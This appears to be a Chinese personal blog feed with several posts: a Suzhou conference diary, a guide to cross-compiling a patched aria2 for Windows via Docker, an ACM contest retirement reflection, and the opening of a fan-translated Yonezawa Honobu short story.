<p>开完颁奖会是晚上八点半,我们学校的带队老师和同学一起去了阳澄湖边上的一家螃蟹店,吃了大闸蟹。</p>
<h2 id="月18日">10月18日</h2>
<p>今天上午依然是特邀报告,下午我们集体参加了一个《CCF大学生思想秀》,具体安排是,以“我们应该是一个怎样的大学生?”为主题的演讲比赛,有15个同学参加,每个同学演讲7分钟,脱稿、无PPT,通过评委老师和观众现场打分得到最终排名。</p>
<p>同学们的演讲内容非常丰富,角度也各有不同,有心怀家国天下的,也有注重个人做好自己的。我认为都有可取之处。</p>
<p>因为这个思想秀是第一次举办,所以老师在最后安排了一次讨论,如何将这个思想秀活动办得更完美。同学们也说了很多,关于选题、流程、奖励等。当然这次活动确实有很多问题,但是我认为最主要的还是选题,同学也提到了,这个题目不适合学生来讲,所谓人之过在好为人师,虽然我们是被评奖的学生,但是也不能心安理得地对同伴应该怎样做侃侃而谈。</p>
<p>晚上十个同学一起聚了餐,吃的东西就是普通的小菜。最主要的是我们和一个以前学过物理的同学讨论了很久的量子力学。回来的时候拍了张照,苏州景色果然不俗。</p>
<figure>
<img src="/article-assets/苏州之行/IMG_20191018_220016.jpg" alt="苏州景色">
<figcaption aria-hidden="true">苏州景色</figcaption>
</figure>
<h2 id="月19日">10月19日</h2>
<p>因为太累了,所以今天我只参加了上午的论坛。今天上午的论坛不是特邀报告,而是座谈会。第一个题目是“致敬互联网50年,面向下一个50年”,在这个会上教授大佬们讨论了很多关于互联网开放性的问题,我想我们在不久的将来就要直面这个问题了。第三个题目是“深度学习的冬天什么时候到来?”,专家们的意见大多比较统一,都认为深度学习还有可以发展的空间,目前没有热度下降的迹象,但是我对此观点存疑——一个理论或技术的发展需要对其进行理论解释,但是深度学习目前缺乏这种理论。</p>
<h2 id="月20日">10月20日</h2>
<p>今天回学校。下午因为要退房,所以我很早就来高铁站了。今天高铁站有很多人都是来参加CNCC的。就在我坐着等车的时候,旁边有个老师向我搭话,问我是哪个学校的,是不是博士生。我说我是本科生后,她对我说,以后读博一定要来华中科大——除非你上清华。</p>
<p>大概就写到这里吧。可能我写得太过简略了些,这大概是因为我现在确实没有写文章的心境,一方面是因为我目前正在发愁实习的事,另一方面是我打算把这个博客再重构一下,要花点心思写代码。</p>
d979d1d1-1a93-5cde-84ef-b90ad1c3d43d编译一个在Windows下没有线程数限制的aria22019-04-06T17:15:10+08:00<h2 id="原理">原理</h2>
<p>基于官方提供的Dockerfile,在Docker中交叉编译。<br>
<a href="https://github.com/aria2/aria2#cross-compiling-windows-binary">https://github.com/aria2/aria2#cross-compiling-windows-binary</a></p>
<p>修改是基于aria2-fast的patch文件。<br>
<a href="https://raw.githubusercontent.com/archlinuxcn/repo/master/archlinuxcn/aria2-fast/aria2-fast.patch">https://raw.githubusercontent.com/archlinuxcn/repo/master/archlinuxcn/aria2-fast/aria2-fast.patch</a></p>
<!-- more -->
<h2 id="过程">过程</h2>
<p>Windows下不太便于安装Docker,所以我是在Ubuntu虚拟机中安装了Docker进行操作的。</p>
<p>先将aria2的源代码clone下来,然后修改<code>Dockerfile.mingw</code>,修改之后如下,我把修改的地方用中文标注了。</p>
<pre class="dockerfile"><code># Dockerfile to build aria2 Windows binary using ubuntu mingw-w64
# cross compiler chain.
#
# $ sudo docker build -t aria2-mingw - < Dockerfile.mingw
#
# After successful build, windows binary is located at
# /aria2/src/aria2c.exe. You can copy the binary using following
# commands:
#
# $ id=$(sudo docker create aria2-mingw)
# $ sudo docker cp $id:/aria2/src/aria2c.exe <dest>
# $ sudo docker rm -v $id
FROM ubuntu:16.04
MAINTAINER Tatsuhiro Tsujikawa
# Change HOST to x86_64-w64-mingw32 to build 64-bit binary
### 编译64位程序 ###
ENV HOST x86_64-w64-mingw32
# It would be better to use nearest ubuntu archive mirror for faster
# downloads.
# RUN sed -ie 's/archive\.ubuntu/jp.archive.ubuntu/g' /etc/apt/sources.list
### 使用中科大ubuntu源 ###
RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
RUN apt-get update && \
apt-get install -y \
make binutils autoconf automake autotools-dev libtool \
pkg-config git curl dpkg-dev gcc-mingw-w64 \
autopoint libcppunit-dev libxml2-dev libgcrypt11-dev lzip
### 使用代理下载文件 ###
RUN curl -x socks5h://192.168.31.5:1080 -L -O https://gmplib.org/download/gmp/gmp-6.1.2.tar.lz && \
curl -x socks5h://192.168.31.5:1080 -L -O https://github.com/libexpat/libexpat/releases/download/R_2_2_5/expat-2.2.5.tar.bz2 && \
curl -x socks5h://192.168.31.5:1080 -L -O https://www.sqlite.org/2018/sqlite-autoconf-3230100.tar.gz && \
curl -x socks5h://192.168.31.5:1080 -L -O http://zlib.net/zlib-1.2.11.tar.gz && \
curl -x socks5h://192.168.31.5:1080 -L -O https://c-ares.haxx.se/download/c-ares-1.14.0.tar.gz && \
curl -x socks5h://192.168.31.5:1080 -L -O http://libssh2.org/download/libssh2-1.8.0.tar.gz && \
curl -x socks5h://192.168.31.5:1080 -L -O https://raw.githubusercontent.com/archlinuxcn/repo/master/archlinuxcn/aria2-fast/aria2-fast.patch
### 上面加了一行,下载patch ###
RUN tar xf gmp-6.1.2.tar.lz && \
cd gmp-6.1.2 && \
./configure \
--disable-shared \
--enable-static \
--prefix=/usr/local/$HOST \
--host=$HOST \
--disable-cxx \
--enable-fat \
CFLAGS="-mtune=generic -O2 -g0" && \
make install
RUN tar xf expat-2.2.5.tar.bz2 && \
cd expat-2.2.5 && \
./configure \
--disable-shared \
--enable-static \
--prefix=/usr/local/$HOST \
--host=$HOST \
--build=`dpkg-architecture -qDEB_BUILD_GNU_TYPE` && \
make install
RUN tar xf sqlite-autoconf-3230100.tar.gz && \
cd sqlite-autoconf-3230100 && \
./configure \
--disable-shared \
--enable-static \
--prefix=/usr/local/$HOST \
--host=$HOST \
--build=`dpkg-architecture -qDEB_BUILD_GNU_TYPE` && \
make install
RUN tar xf zlib-1.2.11.tar.gz && \
cd zlib-1.2.11 && \
CC=$HOST-gcc \
AR=$HOST-ar \
LD=$HOST-ld \
RANLIB=$HOST-ranlib \
STRIP=$HOST-strip \
./configure \
--prefix=/usr/local/$HOST \
--libdir=/usr/local/$HOST/lib \
--includedir=/usr/local/$HOST/include \
--static && \
make install
RUN tar xf c-ares-1.14.0.tar.gz && \
cd c-ares-1.14.0 && \
./configure \
--disable-shared \
--enable-static \
--without-random \
--prefix=/usr/local/$HOST \
--host=$HOST \
--build=`dpkg-architecture -qDEB_BUILD_GNU_TYPE` \
LIBS="-lws2_32" && \
make install
RUN tar xf libssh2-1.8.0.tar.gz && \
cd libssh2-1.8.0 && \
./configure \
--disable-shared \
--enable-static \
--prefix=/usr/local/$HOST \
--host=$HOST \
--build=`dpkg-architecture -qDEB_BUILD_GNU_TYPE` \
--without-openssl \
--with-wincng \
LIBS="-lws2_32" && \
make install
ADD https://api.github.com/repos/aria2/aria2/git/refs/heads/master version.json
### 执行一下patch再编译 ###
RUN git clone https://github.com/aria2/aria2 && \
cd aria2 && patch -Np1 < ../aria2-fast.patch && autoreconf -i && ./mingw-config && make && \
$HOST-strip src/aria2c.exe</code></pre>
<p>编译和导出的方法在该文件最上面的注释中已经说明了,相信大家能看懂。</p>
<h2 id="配置">配置</h2>
<p>最后附上我的aria2配置文件,速度非常快。</p>
<pre class="properties"><code>log=-
log-level=info
dir=E:\Downloads
input-file=aria2.session
save-session=aria2.session
max-concurrent-downloads=64
max-connection-per-server=32
check-certificate=true
enable-rpc=true
continue=true
split=4096
min-split-size=8M
piece-length=8M
check-integrity=true
retry-wait=5
max-tries=0
remote-time=true
disk-cache=512M
file-allocation=prealloc</code></pre>
<p>注意因为配置了<code>input-file</code>,所以需要先在当前文件夹中建立一个空的<code>aria2.session</code>文件。</p>
<p>2019-10-13更新:</p>
<p>我将我之前编译的1.34.0版本放上来了,有需要可以下载:<a href="/article-assets/aria2/aria2c.exe">aria2c.exe</a></p>
<p>最新编译的1.35.0,未经过很多测试:<a href="/article-assets/aria2/aria2c-9d0a48a.exe">aria2c-9d0a48a.exe</a></p>
c4989799-20ba-5b51-8220-bce081d8c0b0永恒的爱与忧伤——ACM退役总结2018-12-03T20:06:25+08:00<p>前两天刚刚确认自己无法参加EC-final,那么也就说明我大约一年半的ACM生涯就此结束。首先关于这次EC-final名额的问题,本来我们队是申请成功的,但是由于主办方的种种原因,教练出于学校声誉的考量,决定放弃申请的名额。我们队也可以理解,说到底这个名额本来也是出乎我们意料的,只是多训练了半个月,也没什么遗憾。</p>
<p>实际上我参加过较大的比赛只有一场ICPC区域赛、一场CCPC和一场CCPC邀请赛,相对于其他ACMer来说是低于平均水平的,不过最后区域赛打银滚出算是实现了最基本的目标。其实主要是我在大一入学的时候没有规划好大学生活,参加了一些奇奇怪怪的组织,没有集中精力在ACM上。如果我有好好规划的话,可能就可以像sdj那样大二退役,或者多一些时间冲金,或者可以去实习,或者去研究一些更奇怪的东西,总之可以省下很多时间。</p>
<p>在区域赛的时候,队友AC了第五题,已经稳银了,还剩四十分钟。我开始敲第六题,如果AC的话可能在金尾;然而没有如果。赛后我们也一直抱有遗憾,不过还是尽力去做了,也把能做到的都做到了,这几个月的集训我们队各方面都提升了很多,我的队友是我在大学生活中一起经历过最多考验的人。</p>
<p>我在刚参加校队集训的时候,要填写一个报名表,其中有一项是“想达到什么目标”。我写的是“进world final”,后来我才知道swb学长也是这样写的。不过我和他都没能实现这个愿望,而且我比他差得更多。今年CSU的ACM生源更好,有许多参加过OI的大佬,我想应该不出两年这个目标就能实现了。</p>
<p>从高中开始我就一直有参加算法竞赛的梦想。当时是参加“翱翔计划”的时候听老师介绍了清华附中、人大附中等超级厉害的高中同学去IOI参赛的场景,然后我也有了去参赛的梦想,可惜我的高中并没有这种组织。到了大学终于圆了梦想,虽然没有出国,但是也是很有意思的经历。</p>
<p>大学期间,为了ACM我放弃了很多,“ACMer是没有假期的”。但是相对地收获了更多。在赛场上,排除一切杂念的能力,相信自己相信队友的信念,静心阅读英语的心境,都是取得成绩的必要因素。更重要的是平时的付出,每周在机房的十几个小时,积攒AC题目和与队友的配合技巧,以这些一点一滴的付出应对来之不易的比赛机会。</p>
<p>日后谈就到这里,接下来是回忆。</p>
<p>我第一次参加训练是在大一暑假,虽然有很多同学大一寒假就开始训练了,但是我得知消息总是比别人要晚一些。虽然我在高中的时候学过一点C语言,但是其实还是要从头开始,学习C++有哪些头文件,分别要在什么时候引用。相对于那些有OI经验的同学,我对数据结构的理解比他们要差得多,他们都知道栈、队列这些结构在实际应用中要怎么操作,而我就只知道一些概念。不过靠我以前VB调库的经验,还是度过了这段时间。</p>
<p>到了大二上学期,因为我不太清楚学校选择参赛队员的规则,所以我在十一期间回了趟家,导致我没能参加那一学期的ICPC和CCPC。训练时坐我旁边的cdn学长,还有sdj、qt、lfw等同学都参加了。之后cdn和sdj退役,qt、lfw和我继续打。其实如果我去参赛了的话可能也会选择退役;然而没有如果,才有了接下来一年的经历,不知道算不算幸运。</p>
<p>大二下,我参加了CCPC邀请赛,当时和wwk、lfw是队友,拿了我(人生中?)第一块国家级的银奖。</p>
<p>然后是大二暑假,我重新和wwk、wy组了队,每天打多校。多校题比较难,我们几个天天自闭,也提升了很多,把以前模糊的高级知识点都重新梳理了一遍,也开始系统整理个人模板,就是在我博客里的<a href="/zh-cn/articles/ACM模板整理/">这篇文章</a>。</p>
<p>大三上,也就是这学期,我参加了ICPC和CCPC,一银一铜,都多多少少有些遗憾,但是在我们这个层次的选手比赛有遗憾也是正常现象。一年多的训练终于有了成果,也算遗憾不大吧。得知退役后,我们还是打了一场字节跳动网络赛,题目很难,机房里的队伍都是一题,这就是我们的退役赛。</p>
<p>长沙的严寒酷暑总是令人恐惧,如果我在假期能回家的话,大学生活一定比现在要轻松得多。不过即使再给我一次机会,我也一定会选择训练。我深知自己做不成太多事情,实际上大学除了比赛也没有再做什么事情,但是这是我最热爱的事情,也是我认为我做过的最有意义的事情,也是我感触最深的经历。</p>
<p>之后还有半年的时间准备保研,我大概要一边写写项目一边搞搞科研,所以即使退役了也觉得还有事情要做……</p>
<p>我由衷感谢我的队友和其他一起训练的同学。</p>
<p>最后,我把之前几场比赛后写的总结贴上来吧,作为更详细的记录。</p>
<!-- more -->
<h2 id="ccpc湘潭总结">2018CCPC湘潭总结</h2>
<h3 id="赛前">赛前</h3>
<p>队伍进行了两次多校和三次自己的训练赛,感觉配合还可以。到比赛前一天还看了一下以前写过的题目,又补了一些算法,虽然最后没用上。</p>
<p>比赛前一天比较糟,晚上多吃了一碗面,夜里蚊子一直骚扰,我到凌晨两点多,lfw到凌晨三点多才睡着,导致第二天状态不是很好。下次比赛要带好防蚊药,晚上不能开窗户。</p>
<h3 id="赛中">赛中</h3>
<p>前期的失误有两处,一个是湘潭大学OJ的abs用不了,莫名CE了两发,另一个是F题一开始没注意到不等式的化简,导致爆long long,改用long double后精度设太大了,WA了两发,WA了之后没有仔细思考,直接上了Java,导致又TLE一发。</p>
<p>中期开始做题的顺序有问题,当时榜单G、B、I、J四题过的人数差不多,于是我看I题,lfw和wwk看G题。然后我觉得I题可写,简单地和他们说了一下,觉得没问题就开始写了。大概写了半个小时左右,wwk想好了G题,就让他先写,过了之后我又继续写I题,他们看B和J。大概到了快两点的时候,我发现了一点问题,讨论之后发现我之前推导的结论是错的,又看了一下榜,发现I题过的不多,于是才放弃,因为这道题耽误了不少时间。之后lfw开始用二分写B题,但是到最后没能调出来。</p>
<h3 id="赛后">赛后</h3>
<p>题目讲解时发现B题是结论题,O(1)复杂度,虽然能想到但是不敢试,也就没去推导。J题过的人也比较多,但是由于题目时间分配的问题导致我们没有仔细讨论。</p>
<p>虽然打银在我们的预期中是比较好的结果,但是因为遗憾比较多,再加上没有休息好,所以大家的心情和心态其实并不好。坐车之前吃了点小吃缓解。</p>
<h2 id="ccpc桂林总结">2018CCPC桂林总结</h2>
<p>这次去桂林,周五晚上一直睡不着,不过周六热身赛的时候也没有觉得困。</p>
<p>热身赛的时候感觉D题贪心可做,全场一片WA了之后裁判提示一本书读两次,修改之后AC了,后来听其他人说正解应该是网络流。然后数学题推了半天终于推出结论后一发TLE,检查了一下发现确实我们的做法是O(nlogn)的,2e7的数据过不了,后来尝试桶排,但是需要的空间又太大了,最后这题没过,赛后发现其实有个更简单的规律,如果打表的话应该可以找到。另外两题分别是大模拟和几何+概率,没有管。</p>
<p>正式比赛时,30min我们跟榜过了D题贪心,其实这里我们想得有点慢了。70min时wwk有了G题数论的思路,我和他讨论过之后1A。之后我们开始一起想H题字符串,110min wy想到了一个方法,他敲完之后1A了。这期间我看了L题计算几何,和wwk讲过之后他开始写,然后我和wy一起想J题博弈,160min我想到了结论,于是把L的代码先保存了,过了J。四题1A过后状态开始急转直下,计算几何出现了一些不太好讨论的情况,于是我用我的模板重新写,wy和wwk想C题数据结构,然而我交上去之后WA了,修了几处bug之后还是WA,最后剩一个小时的时候我打印代码让wy写C,然而我们忽略了一处数据范围RE一发,修改后又WA了。这两题最后都没有过。</p>
<p>四题1A并没能改变打铜的悲惨事实,本来我们看排名还是有机会拿银的,但是赛后主办方是根据过题队伍数的百分比颁奖,后面又有十几只队伍没有过题,主观因素加上这些客观因素导致我们是铜排第二,比较失落。</p>
<p>这周三我们又做了一道计算几何题,又被卡了,我想我们可能在讨论几何题这方面有所欠缺,这周再比赛的时候需要注意谨慎开题。</p>
<h2 id="icpc青岛总结">2018ICPC青岛总结</h2>
<p>在比赛前一个月的时候我们查了很久如何才能又快又便宜地到青岛,最后终于找到了一条路线,从长沙坐高铁到南昌,再坐飞机到青岛,因为这趟机票比较便宜,所以整个路程就比较便宜了。高铁上我们一起做了做新题,飞机晚了半个多小时,所幸没有耽误什么事情,大概到凌晨四点我们到了酒店才睡觉。</p>
<p>热身赛当天,我们中午起来后去报到,然后去学校食堂吃了饭,然后去体育馆开始比赛,熟悉了一下PC^2的操作,做了两题就提前离场了。找地方打印了一些新的模板,然后回去继续看了一会儿新的知识点。</p>
<p>正式比赛的时候,开场队友让我看签到题M,这个签到题是在题目Hint中明确写了是签到题的,我推了一下然后A了。然后我跟wy讲了C题字符串的题意,开始写J题。本来我以为J题是个二分的题,结果发现它实际上不满足单调性,而应该在最优情况下就是优先选最开始的m本书,所以WA了一发之后A了。之后wy推出了C题的大部分结论,只是有一种情况感觉答案太大了,没法输出,于是我先写了预处理过程,然后保存代码,让wwk写A题。在他写的时候我们发现了结论的问题,于是写完之后A了,实际上这题我们浪费的时间有点多。由于A题始终没人过,我们就暂时放弃了这题,开始跟榜想E题,wwk先想到了一个结论,我觉得很有道理,就先写了一发,结果WA了,测了几组数据后找到了一处问题,结果又WA了,经过漫长的调试和思考,我们发现结论是没有问题的,而是实现的时候有一处模拟的细节没有注意,最后在总共WA了三发的情况下过了E题。之后就只有感觉是爆搜的D题和构造题F是过的人比较多的,于是我就开始写D,wwk和wy想F。封榜后他们想出了构造方法,于是换wwk写,然后A了。最后剩不到10分钟的时候D题调好了,结果交上去之后TLE,最后加剪枝也没写好。感觉其实应该是搜索的方式不是很好,导致需要搜索过多的分支。</p>
<p>最后结果就是银牌中间,其实还是有点遗憾的,如果那题爆搜过了就说不定能金。领完奖之后就在大学里面转了一圈,体会了一下那里的氛围。</p>
<p>接下来的CCPC final本来说是我们去,结果后来才知道改成了女队,那么我们如果还有比赛的话就是EC final了,或者也可能没有,看队长和老师的安排,虽然我们还是希望能去的。如果去不了的话,就要看这学期成绩如何了,好的话可以再打一年ACM,不好的话就再写日后谈了。</p>
2c17c349-47fb-56e6-940f-fec136851a26悠长的假日2018-11-09T19:43:16+08:00<blockquote>
<p>作者:米泽穗信</p>
<p>译者:MUSH</p>
<p>校对:某⑨ DL0617</p>
<p>测试:DL0617 风徽血忆 木子水100 qwe111day 空之晴翾 _____死角 旗木泡泡子</p>
<p>日文原文载于《野性时代》120号(2013.10) 角川书店</p>
</blockquote>
<!-- more -->
<h2 id="section">1</h2>
<p>从那天早晨开始似乎就有些奇怪。<br>
早上醒来,枕旁的闹钟显示为早上7点。星期天。<br>
那是一种从浅睡眠中醒来时特有的迷迷糊糊的感觉。<br>
虽然脑内还残留着些许睡意,但是却完全不想继续睡下去了。<br>
在被窝里翻了个身,然后我用俯卧撑的方式爬了起来。<br>
让我觉得奇怪的是当我的脚踩到地上时的感觉。<br>
一边看着窗帘缝隙里散落进的阳光,我一边自语道:<br>
“状态不错。”<br>
我的身心似乎都正处于完全态。</p>
<p>并不是说平时身体虚弱,所以与其说是身体状态不错,不如说感觉身上很有力。<br>
于是我居然会觉得在这种日子里必须做点多余的事情消耗掉一点体力。<br>
这真是近来少有的事。<br>
我走到厨房,打开了冰箱。<br>
拿出培根,灰树花(菌菇)和小松菜开始切了起来。<br>
一边用面包机烤着吐司,一边把鸡蛋打到碗里。<br>
我随意地把加工干酪、牛奶还有看到的咖喱粉加到蛋里。<br>
两个灶台其中一个上面炒着培根,另一个则用来做煎鸡蛋。<br>
糟了,忘记烧水了,咖啡只好之后再泡。</p>
<p>把早餐拿到客厅。吐司上面什么都没有涂,我就这样默默吃了起来。<br>
这时传来了下楼的脚步声,老爸在外出差,那一定就是老姐了。<br>
脚步声就这样朝着厨房靠近。<br>
“啊,有早餐!”<br>
大清早就那么精神。<br>
“奉太郎,这是你做的么?”<br>
“也许是半夜里小偷跑来做的呢。”<br>
“就算这样,还很热乎呢…小偷应该还没跑远。别突然说这种无聊的玩笑啦。”<br>
我没有回答,自顾自的把培根放到吐司上。<br>
老姐的声音又传了过来:<br>
“我也可以吃吧。”<br>
因为嘴巴里塞得满满的,我点了点头。<br>
虽然老姐人在厨房应该看不到我的动作,但就算说了“不行”她应该也会做。<br>
而且,我本来就把老姐那份也做好了。</p>
<p>过不了一会儿,就听到了老姐那失礼的评价。<br>
“意外的还蛮好吃的呢。”<br>
“你别在那里偷吃啦。”<br>
“这是什么味道呢,这里面你加了点什么对吧。”<br>
看来她吃的是煎鸡蛋。<br>
因为咖喱粉就放在厨房的料理台上,老姐应该很快就会察觉。<br>
于是我没有理她,继续默默吃饭。果然过不了多久,<br>
“是这个吗。”<br>
“做得很精致…也不算吧,你还挺得意的嘛。发生什么了,奉太郎。”<br>
一如既往的犀利。<br>
我喝了一口牛奶,答道:<br>
“今天感觉状态不错。”<br>
听到这个,就算是老姐也不由得发出了“诶?”的惊叹声。</p>
<p>早上起来吃完早餐,打扫了卫生,洗了衣服。<br>
之后又打扫了浴室,中午做了乌冬。<br>
这时,时针指向下午1点。一天还真长啊。</p>
<p>我坐在自己房间的床上思考了起来。<br>
接下来,该干吗呢。</p>
<p>拉开窗帘,外面是一片晴朗。<br>
最近锋面一直停滞不前,雨下个不停。晴天真是久违了。<br>
“…走吧。”<br>
我换上带有深口袋的裤子,在里面塞进了文库本。<br>
穿上polo衫,再次看了一眼外面,不由得笑了出来。<br>
“我居然会觉得晴天不出门是浪费。”<br>
折木奉太郎,居然也会觉得在久违的晴天待在家里很可惜。<br>
要是福部里志听到的话,恐怕会来看我是不是发烧了。<br>
我拿起钱包,一时兴起只从里面抽出了一张千元纸币放进另一个口袋。</p>
<p>虽然这样出门了,但是我并没有想好要干什么。<br>
只是散个步。<br>
但是却没有目的地。<br>
“去哪里好呢。”<br>
我有想过去书店,但是这个月因为种种原因囊中羞涩。<br>
毕竟有口袋里有本文库本的话,今天应该就撑得过去了吧。</p>
<p>这样的话,就找一个可以看书的地方就行了。<br>
本想去河边的,但是现在也差不多是蚊虫出没的季节了。<br>
想到这,水边就让人有些却步。而且,河岸边视线开阔,会显得很起眼。<br>
虽然我并不算是很在意别人的类型,但是还是有所谓的限度。</p>
<p>家附近有八幡宫(神社),又安静又有可以坐下的石凳。<br>
那里的话怎么样呢。<br>
似乎不错的样子,我正打算往那边出发,却突然有些犹豫。<br>
今天的状态那么好,如果不走到远一点的地方的话体力会过剩的吧。<br>
“那么,这边吗。”<br>
我转过身。</p>
<p>荒楠神社的话,距离正好。<br>
我并不是拘泥于神社,但是既然最初想到了八幡宫,就不由得往神社去考虑。<br>
本以为穿polo衫会有点冷,但是一旦开始行走,既不冷也不热,恰到好处的感觉。<br>
避开熟知的上学路,我绕到了平时不太走的后街小巷。<br>
或许是通风良好,虽然道路两旁都被墙垣包围了,但是还是有凉风吹来。<br>
我发现墙垣上有一只虎皮纹的长相略丑的猫。<br>
“哟。”<br>
我挥了挥手,或许是被吓到了,那猫一下子就逃走了。<br>
真是做了坏事呢。</p>
<p>继续慢悠悠地走着,走到了桥头。<br>
由于昨天为止的连日降雨,河水上涨了不少。<br>
我暂时停下脚步,听着浑浊的河水发出的隆隆声。<br>
“五月雨を集めて早し最上川。”(芭蕉的俳句,大意为五月雨水早早地汇集于最上川)<br>
这里既不是最上川,下的也不是五月雨。<br>
如果我再有些文采的话,或许就能吟出更适合的句子吧,但是难为腹中无墨。<br>
是里志的话,或许会说出一些很不错的话来吧。<br>
还是说,这种事的话千反田比较擅长呢。</p>
<p>我从章鱼烧店前通过。<br>
章鱼烧的香味一阵阵飘来。明明好好的吃过了早餐,心里却有些痒痒的。<br>
那个可以买呢…我似乎被内心的冲动所诱惑了。<br>
不对,等一下!冷静下来。<br>
现在买的话要在哪里吃呢。<br>
虽然我好不容易忍住了,但还是不由得加快了脚步。</p>
<p>从家里出发走了十分钟,不认识的街道渐渐多了起来。<br>
明明从出生起就没有出过这个城镇,但是走十分钟就能到陌生的街道什么的,<br>
我平时过的还真是经济节俭呢。<br>
我自认方向感并不愚钝,于是略有自信地开始向未知的道路前进。<br>
这边,再这边,然后大概在这里转个弯的话…<br>
就是开阔地了。<br>
我还真是厉害呢。<br>
眼前正是荒楠神社。<br>
“接下来…”<br>
我小声嘀咕着,抬头看了看鸟居的前方。<br>
荒楠神社位于小山丘的中心地带。<br>
也就是说,想要到达神社境内还有一段不短的台阶要走。<br>
就算我今天是那种没事会想要散步的异常状态,要爬上这样的长台阶还是让人有些踌躇。<br>
虽然我有一瞬忧郁了,<br>
“算了。”<br>
我开始攀登台阶。</p>
<p>一边数着台阶的数量,一边往上走着。<br>
还没有爬上几阶,我就淹没在茂密的衫林中了。<br>
气温一下子降了下来。<br>
在数到30左右的时候,我开始记不清台阶的数量。<br>
28、29、30、还有许多。<br>
虽然我还没想过想来要从事什么职业,但一定不适合数数的职业吧。<br>
呼吸开始变得急促,为了读文库本这还真是够辛苦的。<br>
干脆就坐在台阶上开始看吧。<br>
不行不行,已经爬上半山腰了。只要再坚持一下,一下。<br>
我保持着前倾的姿势继续攀登着。</p>
<p>大概爬了有100阶了吧。虽然早就没有在数了。<br>
终于爬到了顶上,我深深呼了一口气。<br>
我看到了眼前的净水池,虽然想喝一口水但那里可不是给人喝水的吧。<br>
自动贩卖机…当然是不可能会有的。<br>
就在我四处张望的时候,视线和社务所中出来的人相汇了。<br>
简直就像居家打扮似的身着t恤和短裤,戴着细框眼镜的长发女性。</p>
<p>“啊。”<br>
那是十文字佳穗。<br>
居家打扮也是必然的,因为这里就是十文字的家。<br>
对方似乎也注意到了我,慢慢走了过来。<br>
“欢迎前来参拜。”<br>
她双手放在身前,郑重地向我鞠了一躬。<br>
对于这出乎意料的迎接我有些许动摇,但是想到之前的糗事,总之先答道:<br>
“前来打扰了。”<br>
似乎对于我这种不慌不忙的样子有些不满,十文字嘟了嘟嘴,不过马上就变回了笑脸。<br>
“来参拜的吗。”<br>
“也不是…不对,也要参拜的。”<br>
“奇怪。”<br>
“散步到这里的。”<br>
面对神社的人,我还是难以说出“哪里都行”这样的话。<br>
十文字转过头看了看社务所,对我说:<br>
“爱瑠来了哦。”(发音:eru kiteru)<br>
“诶?”<br>
“爱瑠来了哦。”<br>
eru kiteru是平贺源内发明的什么东西吗?(平贺源内:江户时代的博物学者)<br>
啊!是“爱瑠来了哦”的意思吗!<br>
“诶,为什么”<br>
她窃笑了一下,说道:<br>
“只是来我家玩的。你也进来吧,茶还是会倒一杯的啦。”<br>
“我就…”<br>
“我们刚在在说和你也有关系的话。”<br>
和我?是什么呢…<br>
“不勉强你啦,不过不是俗话说相逢也是缘吗。”<br>
“那是佛教里的话吧。”<br>
“我是宗教皆平等主义者。”<br>
“但是…”<br>
“不过…还是直接让你看一下比较好吧。这边请。”<br>
还在我没弄明白的时候就被请到了社务所。<br>
看来十文字很会忽悠人呢。</p>
<p>社务所的一角有一间6叠榻榻米大的房间。<br>
虽然隔扇和其他房间没什么不同,但是进去一看似乎是私人房间,堆放了很多杂物。<br>
储物柜、闹钟、放着杂志了小说的书柜、水壶还有矮桌。<br>
虽然自宅应该是在别处。不过这里应该是十文字在社务所的房间吧。<br>
然后…</p>
<p>“啊,折木同学。为什么会在这里?”<br>
千反田一副坐立不安的样子。<br>
她四处张望,并用手不停地梳着头发。<br>
然后像是终于发现似的,开始收拾矮桌上的东西。<br>
十文字一边笑着一边说道:<br>
“用不着藏起来吧。”<br>
“诶?啊,说的也是呢。你这么一说,是这样呢。”<br>
她用力点了点头。<br>
然后看样子稍微镇定了一点,端坐了下来。</p>
<p>“你好,折木同学。真是在神奇的地方遇见了呢。”<br>
“没错,吓了我一跳。”<br>
“不过折木同学应该知道我今天在这里的吧。”<br>
什么意思。<br>
“诶,是这样的吗?”<br>
十文字看向这边。<br>
我摇了摇头。<br>
“因为我说过礼拜天约了佳穗同学的啊。”<br>
“什么时候,和谁说的?”<br>
“礼拜五放学之后,和摩耶花同学说的。”<br>
和伊原说的话,为什么我会知道。<br>
我正打算这么反驳的时候,被对方抢占了先机。<br>
“你当时不是就在旁边吗。”</p>
<p>虽然我依稀记得礼拜五放学后有去部室,并且就在旁边也没什么可奇怪的,<br>
“但是我没听见啊。”<br>
随便这么一答,我忽然觉得这似乎在说我偷听了千反田和伊原的对话,<br>
还跟到了千反田要去的地方的样子。<br>
于是我再一次加强了语气,<br>
“我完全没有听见。”<br>
千反田立马点了点头。<br>
“也是呢,折木同学那时候在读书的说。”<br>
旁边的十文字轻轻发出了“是吗”的声音。<br>
看样子这边是没完全相信我的话呢。</p>
<p>十文字拿出了坐垫和绿茶。<br>
在这期间,千反田把刚才藏起来的东西再次放到了矮桌上。<br>
“我是把这个拿来给佳穗同学看的。”<br>
那是照片。<br>
是4月的时候在千反田家附近举办的女儿节人偶祭典的照片。<br>
“不过,果然很让人害羞呢。”<br>
说完她又打算藏起来。</p>
<p>在人偶祭典上,千反田身着十二单衣装扮成了女儿节的人偶。<br>
我被千反田拜托,所以担任了给人偶撑伞的任务。<br>
因为里志有给祭典拍照,所以照片我也有看过。<br>
不过现在摆在矮桌上的是不同的照片。<br>
而且因为害羞而想把照片藏起来这一点,我也是一样的。<br>
我的目光被其中一张照片吸引。<br>
在打扮成人偶的千反田装出低头样子的身后走着的就是戴着乌帽的我。<br>
要说那张脸有多蠢的话!<br>
傻傻地张着嘴,两眼迷离的样子。<br>
我不由得背过头去。</p>
<p>“这张照片真糟糕啊。”<br>
“这张吗?”<br>
千反田把那张照片拿到手边。<br>
“确实不能说是拍得很好呢。”十文字在矮桌摆上茶杯,一边说道。<br>
“是在打哈欠吗?真是奇迹般的一张呢。”<br>
“与其说是奇迹,不如说是噩梦吧。”</p>
<p>而且,那张脸并不是在打哈欠。<br>
…恐怕是,看呆了吧。<br>
因为里志拍的照片要稍微正常一点,我或许不是全程都是这幅表情吧。<br>
我希望是如此。<br>
然后十文字有些抱歉地说道:<br>
“抱歉把你拖过来了。因为刚才我们一直在笑这张照片,正好你就来了。<br>
我觉得在背后取笑别人是不对的,就想把照片给你也看一下。”<br>
虽然我明白她想说的,但是她们也不是为了嘲笑别人才在这里看照片的吧。<br>
真是个讲道理的人呢。</p>
<p>“顺便说一下,这张照片里把爱瑠拍得很糟糕哦。”<br>
“佳穗同学!那张不行啦!”<br>
